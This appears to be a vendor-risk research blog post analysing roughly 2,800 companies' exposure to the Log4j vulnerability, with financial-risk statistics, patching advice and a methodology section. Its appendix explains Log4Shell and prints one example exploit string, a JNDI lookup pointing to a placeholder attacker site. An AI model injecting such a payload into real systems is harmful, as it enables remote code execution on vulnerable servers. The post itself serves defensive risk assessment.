Written by Gokcen Tapkan and Ferhat Dikbiyik
Edited by Haley Williams

As a library of JBM, the Apache Log4j vulnerability is essentially everywhere. Now present in 80% of all Java applications, some have called it “the vulnerability of the decade”, comparing its prevalence to the infamous Heartbleed vulnerability. Cyber criminal groups are leveraging this vulnerability to attempt ransomware and other forms of malware as we speak.

While those affected have jumped to respond, the magnitude of the Log4j vulnerability poses a lot of concern around the exploitation and attacks that will inevitably impact entire cyber ecosystems. To unveil those hidden risks, the Black Kite Research Team analyzed nearly 3,000 companies known to be affected or explicitly disclosed to be unaffected by the vulnerability.

Log4j and Vendor Risk Management: Your questions, answered.

What is the average financial risk associated with the Log4J vulnerability?

In a situation where the risk multiplies with a growing attack surface, understanding the probable financial impact in the event of a breach is essential. The average financial risk of confirmed affected vendors is as high as $901K annually.

Want to assess the financial risk of a vendor, partner, or supplier? Request a free FAIR™ report.

A vendor poses risks to many of its business partners, not just to itself. The more crowded its network becomes, the messier– or riskier– it gets. Therefore, Black Kite Research uses cumulative risk to represent the overall risk a vendor poses to its business partner ecosystem in a quantifiable way.

Which of my vendors are most vulnerable?

Finance and insurance institutions were most likely to have been either directly or potentially affected by Log4j.

The wider the attack surface, the more vulnerable an organization becomes. Upon further analysis, we find that each sector is technologically oriented, with many externally facing digital assets that run vulnerable Java versions.

Widespread cyber incidents like this are more likely to impact large organizations.

With higher annual revenues and a greater number of employees, large companies inherently pose greater risk. Nearly 85% of the studied companies are considered to be large, and of those 85%, 77% are potentially affected by the vulnerability. Similarly, 92% of the studied companies are labeled as potentially affected, and of those 92%, 77% are considered large companies.

Nevertheless, there are countless possibilities that affected libraries could be embedded into a third-party, fourth-party and n-party product or service. This confirms the utmost importance that your entire digital supply chain is monitored and understood.

How can I accurately assess Log4j-related vendor risk?

While the companies who have been affected by the Log4j vulnerability do have the lowest technical cyber rating, the overall “good” standing may cause them to be overlooked. This emphasizes two major themes we’ve that have been reflected by all of Black Kite’s Research efforts:

  1. You’re only as strong as the weakest link in your cyber ecosystem, and self monitoring is not enough to keep your organization safe. 
  2. A rating alone lacks the context necessary to truly understand vendor risk both internally and amongst your vendors.

A vendor or organization may seem secure on their own, monitoring and understanding the status of the full digital supply chain is the only way to know the full picture. Companies that work with thousands of vendors, that work with thousands of other vendors, have an extremely large attack surface, increasing their risk dramatically.

You can find a running list of all possible vendors that may be affected by the Log4j vulnerability here. Keep in mind that these may be your third, fourth, or nth parties, so be cautious when assessing the risk across your own digital supply chain.

There’s more at stake for larger business ecosystems.

Confirmed affected vendors serve the highest number of companies, averaging 8,017 business partners per vendor. Therefore, this set of vendors have the greatest potential for a ripple effect if an attack were to occur. This is a comprehensive ecosystem risk.

How can I prevent future Log4j-related attacks?

While you may have updated your own libraries to the latest version of Apache Log4j, there is a good chance that many of your vendors down the supply chain are still using vulnerable versions of the java libraries. There is one thing everyone is sure of: This vulnerability will live in environments for a long time.

If a vendor is affected, you have to find all the potentially affected connections and  monitor their updates. Some vendors have already released patches. However, patches need to be tested, deployed, and potentially rolled back until updates become secure enough to be released.

Identify and prioritize mission-critical, highest-risk software, and design a patching schedule to avoid breakdowns. The vendor risk assessment team should be in cooperation with the IT team for patch prioritization.

Learn more about how Black Kite is helping organizations respond to third-party risk.

Appendix

A Quick Glance at the Log4j Vulnerability

Log4j is a Java library used for logging. Through this feature, a user can send a HTTP request to a java application running on a web server. The vulnerability in Log4j, Log4Shell, allows for unauthenticated remote code execution and is triggered when the susceptible component parses and processes a specially crafted string provided by the attacker through a range of different input vectors.

One of those vectors is:

${jndi:ldap://[attacker site]/a}

The scope is not limited to web servers, however. Any systems that use this Java logging library, like SMTP, iPhone, etc, are also vulnerable.

If there is an attacker-controlled value that is passed into the login library, the attacker can exploit the string interpretation feature within the Log4j library to trigger object deserialization conditions. These conditions trigger remote code execution on the remote server.

In this case, the only saving grace is that some versions of JVM are not vulnerable by default. Since Java is an enterprise-oriented software, older technologies persist for quite a long time.

Black Kite Research Methodology

Sample Set

Black Kite’s sample size consisted of 2,784 companies, with 2,562 of those companies being “potentially affected”.

Confirming the presence of the Log4j vulnerability requires an intrusive scan and therefore is not internally detected by Black Kite.

Instead, Black Kite Research created a data set to tag companies based on their publicly posted Log4j status. There are five different color-coded tags on the platform related to Log4j vulnerability status:

(Disclaimer: Black Kite does not have a technical way to validate/confirm whether or not the companies are truly affected.)

The data collected within the Black Kite platform is enriched with the Business Intelligence Module, yielding statistics such as the employee number, revenue and the number of business partners for a company. The majority of the companies we analyzed fall into the label of “potentially affected” by the vulnerability.

Company Size

  • Small: Annual revenue is either less than or equal to $1.5 million, or have less than 50 employees.
  • Medium: Companies that do not satisfy the above condition, whose annual revenue is less than $5 million, or have less than 250 employees.
  • Large: Companies that exceed the above parameters.

Average Financial Risk

The average probable annualized loss for the impacted organizations based on Black Kite’s Open FAIR™ model.

Cumulative Financial Risk

The average financial risk multiplied by the number of companies it serves (powered by the Black Kite Business Intelligence module).